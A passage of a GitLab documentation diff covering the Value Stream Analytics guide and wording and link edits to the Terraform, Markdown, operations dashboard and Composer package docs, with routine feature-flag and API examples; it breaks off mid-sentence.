[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/196455) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.9 at the group level. + +Value Stream Analytics measures the time spent to go from an +[idea to production](https://about.gitlab.com/blog/2016/08/05/continuous-integration-delivery-and-deployment-with-gitlab/#from-idea-to-production-with-gitlab) +(also known as cycle time) for each of your projects or groups. Value Stream Analytics displays the median time +spent in each stage defined in the process. + +Value Stream Analytics can help you quickly determine the velocity of a given +group. It points to bottlenecks in the development process, enabling management +to uncover, triage, and identify the root cause of slowdowns in the software development life cycle. + +For information on how to contribute to the development of Value Stream Analytics, see our [contributor documentation](../../../development/value_stream_analytics.md). + +Group-level Value Stream Analytics is available via **Group > Analytics > Value Stream**. + +[Project-level Value Stream Analytics](../../analytics/value_stream_analytics.md) is also available. + +## Default stages + +The stages tracked by Value Stream Analytics by default represent the [GitLab flow](../../../topics/gitlab_flow.md). These stages can be customized in Group Level Value Stream Analytics. + +- **Issue** (Tracker) + - Time to schedule an issue (by milestone or by adding it to an issue board) +- **Plan** (Board) + - Time to first commit +- **Code** (IDE) + - Time to create a merge request +- **Test** (CI) + - Time it takes GitLab CI/CD to test your code +- **Review** (Merge Request/MR) + - Time spent on code review +- **Staging** (Continuous Deployment) + - Time between merging and deploying to production + +## Filter the analytics data + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13216) in GitLab 13.3 + +GitLab provides the ability to filter analytics based on the following parameters: + +- Milestones (Group level) +- Labels (Group level) +- Author +- Assignees + +To filter results: + +1. Select a group. +1. Click on the filter bar. +1. Select a parameter to filter by. +1. Select a value from the autocompleted results, or type to refine the results. + + + +### Date ranges + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13216) in GitLab 12.4. + +GitLab provides the ability to filter analytics based on a date range. To filter results: + +1. Select a group. +1. Optionally select a project. +1. Select a date range using the available date pickers. + +## How Time metrics are measured + +The "Time" metrics near the top of the page are measured as follows: + +- **Lead time**: median time from issue created to issue closed. +- **Cycle time**: median time from first commit to issue closed. + +A commit is associated with an issue by [crosslinking](../../project/issues/crosslinking_issues.md) in the commit message or by manually linking the merge request containing the commit. + + + +## How the stages are measured + +Value Stream Analytics records stage time and data based on the project issues with the +exception of the staging stage, where only data deployed to +production are measured. + +Specifically, if your CI is not set up and you have not defined a [production environment](#how-the-production-environment-is-identified), then you will not have any +data for this stage. + +Each stage of Value Stream Analytics is further described in the table below. + +| **Stage** | **Description** | +| --------- | --------------- | +| Issue | Measures the median time between creating an issue and taking action to solve it, by either labeling it or adding it to a milestone, whatever comes first. The label will be tracked only if it already has an [Issue Board list](../../project/issue_board.md) created for it. | +| Plan | Measures the median time between the action you took for the previous stage, and pushing the first commit to the branch. The very first commit of the branch is the one that triggers the separation between **Plan** and **Code**, and at least one of the commits in the branch needs to contain the related issue number (e.g., `#42`). If none of the commits in the branch mention the related issue number, it is not considered to the measurement time of the stage. | +| Code | Measures the median time between pushing a first commit (previous stage) and creating a merge request (MR) related to that commit. The key to keep the process tracked is to include the [issue closing pattern](../../project/issues/managing_issues.md#closing-issues-automatically) to the description of the merge request (for example, `Closes #xxx`, where `xxx` is the number of the issue related to this merge request). If the closing pattern is not present, then the calculation takes the creation time of the first commit in the merge request as the start time. | +| Test | Measures the median time to run the entire pipeline for that project. It's related to the time GitLab CI/CD takes to run every job for the commits pushed to that merge request defined in the previous stage. It is basically the start->finish time for all pipelines. | +| Review | Measures the median time taken to review the merge request that has a closing issue pattern, between its creation and until it's merged. | +| Staging | Measures the median time between merging the merge request with a closing issue pattern until the very first deployment to a [production environment](#how-the-production-environment-is-identified). If there isn't a production environment, this is not tracked. | + +How this works, behind the scenes: + +1. Issues and merge requests are grouped together in pairs, such that for each + `<issue, merge request>` pair, the merge request has the [issue closing pattern](../../project/issues/managing_issues.md#closing-issues-automatically) + for the corresponding issue. All other issues and merge requests are **not** + considered. +1. Then the `<issue, merge request>` pairs are filtered out by last XX days (specified + by the UI - default is 90 days). So it prohibits these pairs from being considered. +1. For the remaining `<issue, merge request>` pairs, we check the information that + we need for the stages, like issue creation date, merge request merge time, + etc. + +To sum up, anything that doesn't follow [GitLab flow](../../../topics/gitlab_flow.md) will not be tracked and the +Value Stream Analytics dashboard will not present any data for: + +- Merge requests that do not close an issue. +- Issues not labeled with a label present in the Issue Board or for issues not assigned a milestone. +- Staging stage, if the project has no [production environment](#how-the-production-environment-is-identified). + +## How the production environment is identified + +Value Stream Analytics identifies production environments by looking for project [environments](../../../ci/yaml/README.md#environment) with a name matching any of these patterns: + +- `prod` or `prod/*` +- `production` or `production/*` + +These patterns are not case-sensitive. + +You can change the name of a project environment in your GitLab CI/CD configuration. + +## Example workflow + +Below is a simple fictional workflow of a single cycle that happens in a +single day through all noted stages. Note that if a stage does not include a start +and a stop time, its data is not included in the median time. It is assumed that +milestones are created and a CI for testing and setting environments is configured. +a start and a stop mark, it is not measured and hence not calculated in the median +time. It is assumed that milestones are created and CI for testing and setting +environments is configured. + +1. Issue is created at 09:00 (start of **Issue** stage). +1. Issue is added to a milestone at 11:00 (stop of **Issue** stage / start of + **Plan** stage). +1. Start working on the issue, create a branch locally and make one commit at + 12:00. +1. Make a second commit to the branch which mentions the issue number at 12.30 + (stop of **Plan** stage / start of **Code** stage). +1. Push branch and create a merge request that contains the [issue closing pattern](../../project/issues/managing_issues.md#closing-issues-automatically) + in its description at 14:00 (stop of **Code** stage / start of **Test** and + **Review** stages). +1. The CI starts running your scripts defined in [`.gitlab-ci.yml`](../../../ci/yaml/README.md) and + takes 5min (stop of **Test** stage). +1. Review merge request, ensure that everything is OK and merge the merge + request at 19:00. (stop of **Review** stage / start of **Staging** stage). +1. Now that the merge request is merged, a deployment to the `production` + environment starts and finishes at 19:30 (stop of **Staging** stage). + +From the above example you can conclude the time it took each stage to complete +as long as their total time: + +- **Issue**: 2h (11:00 - 09:00) +- **Plan**: 1h (12:00 - 11:00) +- **Code**: 2h (14:00 - 12:00) +- **Test**: 5min +- **Review**: 5h (19:00 - 14:00) +- **Staging**: 30min (19:30 - 19:00) + +A few notes: + +- In the above example we demonstrated that it doesn't matter if your first + commit doesn't mention the issue number, you can do this later in any commit + of the branch you are working on. +- You can see that the **Test** stage is not calculated to the overall time of + the cycle since it is included in the **Review** process (every MR should be + tested). +- The example above was just **one cycle** of the seven stages. Add multiple + cycles, calculate their median time and the result is what the dashboard of + Value Stream Analytics is showing. + +## Customizable Stages + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12196) in GitLab 12.9. + +The default stages are designed to work straight out of the box, but they might not be suitable for +all teams. Different teams use different approaches to building software, so some teams might want +to customize their Value Stream Analytics. + +GitLab allows users to create multiple value streams, hide default stages and create custom stages that align better to their development workflow. + +### Stage path + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/210315) in GitLab 13.0. + +Stages are visually depicted as a horizontal process flow. Selecting a stage will update the +the content below the value stream. + +This is disabled by default. If you have a self-managed instance, an +administrator can [open a Rails console](../../../administration/troubleshooting/navigating_gitlab_via_rails_console.md) +and enable it with the following command: + +```ruby +Feature.enable(:value_stream_analytics_path_navigation) +``` + +### Adding a stage + +In the following example we're creating a new stage that measures and tracks issues from creation +time until they are closed. + +1. Navigate to your group's **Analytics > Value Stream**. +1. Click the **Add a stage** button. +1. Fill in the new stage form: + - Name: Issue start to finish. + - Start event: Issue created. + - End event: Issue closed. +1. Click the **Add stage** button. + + + +The new stage is persisted and it will always show up on the Value Stream Analytics page for your +group. + +If you want to alter or delete the stage, you can easily do that for customized stages by: + +1. Hovering over the stage. +1. Clicking the vertical ellipsis (**{ellipsis_v}**) button that appears. + + + +Creating a custom stage requires specifying two events: + +- A start. +- An end. + +Be careful to choose a start event that occurs *before* your end event. For example, consider a +stage that: + +- Started when an issue is added to a board. +- Ended when the issue is created. + +This stage would not work because the end event has already happened when the start event occurs. +To prevent such invalid stages, the UI prohibits incompatible start and end events. After you select +the start event, the stop event dropdown will only list the compatible events. + +### Re-ordering stages + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/196698) in GitLab 12.10. + +Once a custom stage has been added, you can "drag and drop" stages to rearrange their order. These changes are automatically saved to the system. + +### Label based stages + +The pre-defined start and end events can cover many use cases involving both issues and merge requests. + +For supporting more complex workflows, use stages based on group labels. These events are based on +labels being added or removed. In particular, [scoped labels](../../project/labels.md#scoped-labels) +are useful for complex workflows. + +In this example, we'd like to measure more accurate code review times. The workflow is the following: + +- When the code review starts, the reviewer adds `workflow::code_review_start` label to the merge request. +- When the code review is finished, the reviewer adds `workflow::code_review_complete` label to the merge request. + +Creating a new stage called "Code Review": + + + +### Hiding unused stages + +Sometimes certain default stages are not relevant to a team. In this case, you can easily hide stages +so they no longer appear in the list. To hide stages: + +1. Add a custom stage to activate customizability. +1. Hover over the default stage you want to hide. +1. Click the vertical ellipsis (**{ellipsis_v}**) button that appears and select **Hide stage**. + +To recover a default stage that was previously hidden: + +1. Click **Add a stage** button. +1. In the top right corner open the **Recover hidden stage** dropdown. +1. Select a stage. + +### Creating a value stream + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/221202) in GitLab 13.3 + +A default value stream is readily available for each group. You can create additional value streams based on the different areas of work that you would like to measure. + +Once created, a new value stream includes the [seven stages](#default-stages) that follow +[GitLab workflow](../../../topics/gitlab_flow.md) +best practices. You can customize this flow by adding, hiding or re-ordering stages. + +To create a value stream: + +1. Navigate to your group's **Analytics > Value Stream**. +1. Click the Value stream dropdown and select **Create new Value Stream** +1. Fill in a name for the new Value Stream +1. Click the **Create Value Stream** button. + + + +### Deleting a value stream + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/221205) in GitLab 13.4. + +To delete a custom value stream: + +1. Navigate to your group's **Analytics > Value Stream**. +1. Click the Value stream dropdown and select the value stream you would like to delete. +1. Click the **Delete (name of value stream)**. +1. Click the **Delete** button to confirm. + + + +### Disabling custom value streams + +Custom value streams are enabled by default. If you have a self-managed instance, an +administrator can open a Rails console and disable them with the following command: + +```ruby +Feature.disable(:value_stream_analytics_create_multiple_value_streams) +``` + +## Days to completion chart + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21631) in GitLab 12.6. +> - [Chart median line removed](https://gitlab.com/gitlab-org/gitlab/-/issues/235455) in GitLab 13.4. + +This chart visually depicts the total number of days it takes for cycles to be completed. (Totals are being replaced with averages in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/262070).) + +This chart uses the global page filters for displaying data based on the selected +group, projects, and timeframe. In addition, specific stages can be selected +from within the chart itself. + +The chart data is limited to the last 500 items. + +### Disabling chart + +This chart is enabled by default. If you have a self-managed instance, an +administrator can open a Rails console and disable it with the following command: + +```ruby +Feature.disable(:cycle_analytics_scatterplot_enabled) +``` + +## Type of work - Tasks by type chart + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32421) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.10. + +This chart shows a cumulative count of issues and merge requests per day. + +This chart uses the global page filters for displaying data based on the selected +group, projects, and timeframe. The chart defaults to showing counts for issues but can be +toggled to show data for merge requests and further refined for specific group-level labels. + +By default the top group-level labels (max. 10) are pre-selected, with the ability to +select up to a total of 15 labels. + +## Permissions + +To access Group-level Value Stream Analytics, users must have Reporter access or above. + +You can [read more about permissions](../../permissions.md) in general. + +## More resources + +Learn more about Value Stream Analytics in the following resources: + +- [Value Stream Analytics feature page](https://about.gitlab.com/stages-devops-lifecycle/value-stream-analytics/). +- [Value Stream Analytics feature preview](https://about.gitlab.com/blog/2016/09/16/feature-preview-introducing-cycle-analytics/). +- [Value Stream Analytics feature highlight](https://about.gitlab.com/blog/2016/09/21/cycle-analytics-feature-highlight/). diff --git a/doc/user/incident_management/index.md b/doc/user/incident_management/index.md index 3d883a6b119..ed3516df168 100644 --- a/doc/user/incident_management/index.md +++ b/doc/user/incident_management/index.md @@ -3,3 +3,6 @@ redirect_to: '../../operations/incident_management/index.md' --- This document was moved to [../../operations/incident_management/index.md](../../operations/incident_management/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/index.md b/doc/user/index.md index 8701b5e038b..3b2acfab34c 100644 --- a/doc/user/index.md +++ b/doc/user/index.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, index description: 'Read through the GitLab User documentation to learn how to use, configure, and customize GitLab and GitLab.com to your own needs.' --- @@ -10,7 +10,7 @@ description: 'Read through the GitLab User documentation to learn how to use, co Welcome to GitLab! We're glad to have you here! -As a GitLab user you'll have access to all the features +As a GitLab user you have access to all the features your [subscription](https://about.gitlab.com/pricing/) includes, except [GitLab administrator](../administration/index.md) settings, unless you have admin privileges to install, configure, @@ -60,7 +60,7 @@ With GitLab Enterprise Edition, you can also: - [Multiple Assignees for Issues](project/issues/multiple_assignees_for_issues.md). **(STARTER)** - [Multiple Issue Boards](project/issue_board.md#multiple-issue-boards). - Create formal relationships between issues with [Related Issues](project/issues/related_issues.md). -- Use [Burndown Charts](project/milestones/burndown_charts.md) to track progress during a sprint or while working on a new version of their software. +- Use [Burndown Charts](project/milestones/burndown_and_burnup_charts.md) to track progress during a sprint or while working on a new version of their software. - Leverage [Elasticsearch](../integration/elasticsearch.md) with [Advanced Search](search/advanced_global_search.md) and [Advanced Search Syntax](search/advanced_search_syntax.md) for faster, more advanced code search across your entire GitLab instance. - [Authenticate users with Kerberos](../integration/kerberos.md). - [Mirror a repository](project/repository/repository_mirroring.md) from elsewhere on your local server. @@ -175,7 +175,7 @@ such as Trello, Jira, etc. ## Webhooks Configure [webhooks](project/integrations/webhooks.md) to listen for -specific events like pushes, issues or merge requests. GitLab will send a +specific events like pushes, issues or merge requests. GitLab sends a POST request with data to the webhook URL. ## API diff --git a/doc/user/infrastructure/index.md b/doc/user/infrastructure/index.md index 4af18873798..4c012fbf1d9 100644 --- a/doc/user/infrastructure/index.md +++ b/doc/user/infrastructure/index.md @@ -1,7 +1,7 @@ --- stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Infrastructure as code with Terraform and GitLab @@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w ## Motivation The Terraform integration features within GitLab enable your GitOps / Infrastructure-as-Code (IaC) -workflows to tie into GitLab's authentication and authorization. These features focus on +workflows to tie into GitLab authentication and authorization. These features focus on lowering the barrier to entry for teams to adopt Terraform, collaborate effectively within GitLab, and support Terraform best practices. @@ -31,6 +31,12 @@ Amazon S3 or Google Cloud Storage. Its features include: Read more on setting up and [using GitLab Managed Terraform states](terraform_state.md) +WARNING: +Like any other job artifact, Terraform plan data is [viewable by anyone with Guest access](../permissions.md) to the repository. +Neither Terraform nor GitLab encrypts the plan file by default. If your Terraform plan +includes sensitive data such as passwords, access tokens, or certificates, GitLab strongly +recommends encrypting plan output or modifying the project visibility settings. + ## Terraform integration in Merge Requests Collaborating around Infrastructure as Code (IaC) changes requires both code changes and expected infrastructure changes to be checked and approved. GitLab provides a solution to help collaboration around Terraform code changes and their expected effects using the Merge Request pages. This way users don't have to build custom tools or rely on 3rd party solutions to streamline their IaC workflows. diff --git a/doc/user/infrastructure/mr_integration.md b/doc/user/infrastructure/mr_integration.md index 7d9a036cac8..c86e5ddf1db 100644 --- a/doc/user/infrastructure/mr_integration.md +++ b/doc/user/infrastructure/mr_integration.md @@ -1,7 +1,7 @@ --- stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Terraform integration in Merge Requests @@ -17,7 +17,7 @@ modifies, or destroys. ## Setup -NOTE: **Note:** +NOTE: GitLab ships with a [pre-built CI template](index.md#quick-start) that uses GitLab Managed Terraform state and integrates Terraform changes into merge requests. We recommend customizing the pre-built image and relying on the `gitlab-terraform` helper provided within for a quick setup. To manually configure a GitLab Terraform Report artifact requires the following steps: @@ -42,7 +42,7 @@ To manually configure a GitLab Terraform Report artifact requires the following - alias convert_report="jq -r '([.resource_changes[]?.change.actions?]|flatten)|{\"create\":(map(select(.==\"create\"))|length),\"update\":(map(select(.==\"update\"))|length),\"delete\":(map(select(.==\"delete\"))|length)}'" ``` - NOTE: **Note:** + NOTE: In distributions that use Bash (for example, Ubuntu), `alias` statements are not expanded in non-interactive mode. If your pipelines fail with the error `convert_report: command not found`, alias expansion can be activated explicitly diff --git a/doc/user/infrastructure/terraform_state.md b/doc/user/infrastructure/terraform_state.md index ef36f0217be..cbd2a63524d 100644 --- a/doc/user/infrastructure/terraform_state.md +++ b/doc/user/infrastructure/terraform_state.md @@ -1,7 +1,7 @@ --- stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab managed Terraform State @@ -186,7 +186,7 @@ and the CI YAML file: The output from the above `terraform` commands should be viewable in the job logs. -CAUTION: **Caution:** +WARNING: Like any other job artifact, Terraform plan data is [viewable by anyone with Guest access](../permissions.md) to the repository. Neither Terraform nor GitLab encrypts the plan file by default. If your Terraform plan includes sensitive data such as passwords, access tokens, or certificates, GitLab strongly @@ -344,7 +344,7 @@ location. You can then go back to running it from within GitLab CI. ## Managing state files -NOTE: **Note:** +NOTE: We are currently working on [providing a graphical interface for managing state files](https://gitlab.com/groups/gitlab-org/-/epics/4563).  @@ -356,5 +356,5 @@ The state files attached to a project can be found under Operations / Terraform. You can only remove a state file by making a request to the API, like the following example: ```shell -curl --header "Private-Token: <your_access_token>" --request DELETE "https://gitlab.example.com/api/v4/projects/<your_project_id/terraform/state/<your_state_name>" +curl --header "Private-Token: <your_access_token>" --request DELETE "https://gitlab.example.com/api/v4/projects/<your_project_id>/terraform/state/<your_state_name>" ``` diff --git a/doc/user/instance/clusters/index.md b/doc/user/instance/clusters/index.md index 68af74b69fe..33366c658d7 100644 --- a/doc/user/instance/clusters/index.md +++ b/doc/user/instance/clusters/index.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Instance-level Kubernetes clusters @@ -18,7 +18,7 @@ The instance level Kubernetes clusters can be found in the top menu by navigatin ## Cluster precedence -GitLab will try to match clusters in the following order: +GitLab tries to match clusters in the following order: - Project-level clusters. - Group-level clusters. diff --git a/doc/user/markdown.md b/doc/user/markdown.md index 4bdf72673a1..be6e483aa54 100644 --- a/doc/user/markdown.md +++ b/doc/user/markdown.md @@ -1,28 +1,28 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, howto --- # GitLab Markdown -This Markdown guide is **valid only for GitLab's internal Markdown rendering system for entries and files**. +This Markdown guide is **valid only for the GitLab internal Markdown rendering system for entries and files**. It is **not** valid for the [GitLab documentation website](https://docs.gitlab.com) -or [GitLab's main website](https://about.gitlab.com), as they both use +or the [GitLab main website](https://about.gitlab.com), as they both use [Kramdown](https://kramdown.gettalong.org) as their Markdown engine. The documentation website uses an extended Kramdown gem, [GitLab Kramdown](https://gitlab.com/gitlab-org/gitlab_kramdown). Consult the [GitLab Kramdown Guide](https://about.gitlab.com/handbook/markdown-guide/) for a complete Kramdown reference. -NOTE: **Note:** +NOTE: We encourage you to view this document as [rendered by GitLab itself](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md). ## GitLab Flavored Markdown (GFM) GitLab uses "GitLab Flavored Markdown" (GFM). It extends the [CommonMark specification](https://spec.commonmark.org/current/) (which is based on standard Markdown) in several ways to add additional useful functionality. -It was inspired by [GitHub Flavored Markdown](https://docs.github.com/en/github/writing-on-github/basic-writing-and-formatting-syntax). +It was inspired by [GitHub Flavored Markdown](https://docs.github.com/en/free-pro-team@latest/github/writing-on-github/basic-writing-and-formatting-syntax). You can use GFM in the following areas: @@ -52,7 +52,7 @@ The documentation website had its [Markdown engine migrated from Redcarpet to Kr in October 2018. You may have older issues, merge requests, or Markdown documents in your -repository that were written using some of the nuances of GitLab's RedCarpet version +repository that were written using some of the nuances of the GitLab RedCarpet version of Markdown. Since CommonMark uses slightly stricter syntax, these documents might now appear a little differently since we have transitioned to CommonMark. @@ -162,6 +162,7 @@ Color written inside backticks is followed by a color "chip": ### Diagrams and flowcharts It's possible to generate diagrams and flowcharts from text in GitLab using [Mermaid](https://mermaidjs.github.io/) or [PlantUML](https://plantuml.com). +It's also possible to use [Kroki](https://kroki.io) to create a wide variety of diagrams. #### Mermaid @@ -231,6 +232,11 @@ end To make PlantUML available in GitLab, a GitLab administrator needs to enable it first. Read more in [PlantUML & GitLab](../administration/integration/plantuml.md). +#### Kroki + +To make Kroki available in GitLab, a GitLab administrator needs to enable it first. +Read more in the [Kroki integration](../administration/integration/kroki.md) page. + ### Emoji If this section is not rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#emoji). @@ -347,7 +353,7 @@ The wrapping tags can be either curly braces or square brackets: - [- deletion 4 -] ``` - + --- @@ -369,7 +375,7 @@ backslash `\`, otherwise the diff highlight don't render correctly: - {+ Text with escaped \`backticks\` inside +} ``` - + ### Math @@ -425,7 +431,7 @@ GFM recognizes the following: | merge request | `!123` | `namespace/project!123` | `project!123` | | snippet | `$123` | `namespace/project$123` | `project$123` | | epic **(ULTIMATE)** | `&123` | `group1/subgroup&123` | | -| vulnerability **(ULTIMATE)** *(1)* | `[vulnerability:123]` | `[vulnerability:namespace/project/123]` | `[vulnerability:project/123]` | +| vulnerability **(ULTIMATE)** (1)| `[vulnerability:123]` | `[vulnerability:namespace/project/123]` | `[vulnerability:project/123]` | | label by ID | `~123` | `namespace/project~123` | `project~123` | | one-word label by name | `~bug` | `namespace/project~bug` | `project~bug` | | multi-word label by name | `~"feature request"` | `namespace/project~"feature request"` | `project~"feature request"` | @@ -435,29 +441,11 @@ GFM recognizes the following: | multi-word milestone by name | `%"release candidate"` | `namespace/project%"release candidate"` | `project%"release candidate"` | | specific commit | `9ba12248` | `namespace/project@9ba12248` | `project@9ba12248` | | commit range comparison | `9ba12248...b19a04f5` | `namespace/project@9ba12248...b19a04f5` | `project@9ba12248...b19a04f5` | -| repository file references | `[README](doc/README)` | | | -| repository file line references | `[README](doc/README#L13)` | | | +| repository file references | `[README](doc/README.md)` | | | +| repository file line references | `[README](doc/README.md#L13)` | | | | [alert](../operations/incident_management/alerts.md) | `^alert#123` | `namespace/project^alert#123` | `project^alert#123` | -1. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/281035) in GitLab 13.6. - - The Vulnerability special references feature is under development but ready for production use. - It is deployed behind a feature flag that is **disabled by default**. - [GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md) - can opt to enable it for your instance. - It's disabled on GitLab.com. - - To disable it: - - ```ruby - Feature.disable(:vulnerability_special_references) - ``` - - To enable it: - - ```ruby - Feature.enable(:vulnerability_special_references) - ``` +1. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/222483) in GitLab 13.7. For example, referencing an issue by using `#123` will format the output as a link to issue number 123 with text `#123`. Likewise, a link to issue number 123 will be @@ -471,7 +459,7 @@ In addition to this, links to some objects are also recognized and formatted. So ### Task lists -> If this is not rendered correctly, [view it in GitLab itself](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#task-lists). +If this section is not rendered correctly, [view it in GitLab itself](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#task-lists). You can add task lists anywhere Markdown is supported, but you can only "click" to toggle the boxes if they are in issues, merge requests, or comments. In other @@ -494,7 +482,7 @@ unordered or ordered lists: 1. [x] Sub-task 2 ``` - + ### Table of contents @@ -774,6 +762,7 @@ But let's throw in a <b>tag</b>. There are multiple ways to emphasize text in Markdown. You can italicize, bold, strikethrough, as well as combine these emphasis styles together. +Strikethrough is not part of the core Markdown standard, but is part of GFM. Examples: @@ -795,9 +784,6 @@ Combined emphasis with **asterisks and _underscores_**. Strikethrough uses two tildes. ~~Scratch this.~~ -NOTE: **Note:** -Strikethrough is not part of the core Markdown standard, but is part of GFM. - #### Multiple underscores in words and mid-word emphasis If this section is not rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#multiple-underscores-in-words). @@ -1072,7 +1058,7 @@ are separated into their own lines: ``` <!-- -Note: The example below uses HTML to force correct rendering on docs.gitlab.com, +The example below uses HTML to force correct rendering on docs.gitlab.com, Markdown is fine in GitLab. --> @@ -1124,7 +1110,7 @@ These details <em>remain</em> <strong>hidden</strong> until expanded. Markdown inside these tags is supported as well. -TIP: **Tip:** +NOTE: If your Markdown isn't rendering correctly, try adding `{::options parse_block_html="true" /}` to the top of the page, and add `markdown="span"` to the opening summary tag like this: `<summary markdown="span">`. @@ -1263,7 +1249,7 @@ Do not change to reference style links. Some text to show that the reference links can follow later. -NOTE: **Note:** +NOTE: Relative links do not allow the referencing of project files in a wiki page, or a wiki page in a project file. The reason for this is that a wiki is always in a separate Git repository in GitLab. For example, `[I'm a reference-style link](style)` diff --git a/doc/user/operations_dashboard/index.md b/doc/user/operations_dashboard/index.md index 9e2dfd9ad96..bef768cad4e 100644 --- a/doc/user/operations_dashboard/index.md +++ b/doc/user/operations_dashboard/index.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Operations Dashboard **(PREMIUM)** @@ -15,7 +15,7 @@ The dashboard can be accessed via the top bar, by clicking **More > Operations** ## Adding a project to the dashboard -NOTE: **Note:** +NOTE: For GitLab.com, you can add your project to the Operations Dashboard for free if your project is public. If your project is private, the group it belongs to must have a [Silver](https://about.gitlab.com/pricing/) plan. @@ -26,7 +26,7 @@ To add a project to the dashboard: 1. Search and add one or more projects using the **Search your projects** field. 1. Click the **Add projects** button. -Once added, the dashboard will display the project's number of active alerts, +Once added, the dashboard displays the project's number of active alerts, last commit, pipeline status, and when it was last deployed. The Operations and [Environments](../../ci/environments/environments_dashboard.md) dashboards share the same list of projects. Adding or removing a project from one adds or removes the project from the other. @@ -35,7 +35,7 @@ The Operations and [Environments](../../ci/environments/environments_dashboard.m ## Arranging projects on a dashboard -You can drag project cards to change their order. The card order is currently only saved to your browser, so will not change the dashboard for other people. +You can drag project cards to change their order. The card order is currently only saved to your browser, so it doesn't change the dashboard for other people. ## Making it the default dashboard when you sign in diff --git a/doc/user/packages/composer_repository/index.md b/doc/user/packages/composer_repository/index.md index 6e5563d0d4e..751915f84a0 100644 --- a/doc/user/packages/composer_repository/index.md +++ b/doc/user/packages/composer_repository/index.md @@ -1,7 +1,7 @@ --- stage: Package group: Package -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Composer packages in the Package Registry @@ -70,13 +70,16 @@ so that anyone who can access the project can use the package as a dependency. Prerequisites: -- A package in a GitLab repository. +- A package in a GitLab repository. Composer packages should be versioned based on + the [Composer specification](https://getcomposer.org/doc/04-schema.md#version). + If the version is not valid, for example, it has three dots (`1.0.0.0`), an + error (`Validation failed: Version is invalid`) occurs when you publish. - A valid `composer.json` file. - The Packages feature is enabled in a GitLab repository. - The project ID, which is on the project's home page. - A [personal access token](../../../user/profile/personal_access_tokens.md) with the scope set to `api`. - NOTE: **Note:** + NOTE: [Deploy tokens](../../project/deploy_tokens/index.md) are [not yet supported](https://gitlab.com/gitlab-org/gitlab/-/issues/240897) for use with Composer. @@ -116,7 +119,7 @@ You can publish a Composer package to the Package Registry as part of your CI/CD 1. Run the pipeline. -You can view the published package by going to **Packages & Registries > Package Registry** and selecting the **Composer** tab. +To view the published package, go to **Packages & Registries > Package Registry** and select the **Composer** tab. ### Use a CI/CD template @@ -126,7 +129,7 @@ A more detailed Composer CI/CD file is also available as a `.gitlab-ci.yml` temp 1. Above the file list, click **Set up CI/CD**. If this button is not available, select **CI/CD Configuration** and then **Edit**. 1. From the **Apply a template** list, select **Composer**. -CAUTION: **Warning:** +WARNING: Do not save unless you want to overwrite the existing CI/CD file. ## Install a Composer package @@ -139,7 +142,7 @@ Prerequisites: - The group ID, which is on the group's home page. - A [personal access token](../../../user/profile/personal_access_tokens.md) with the scope set to, at 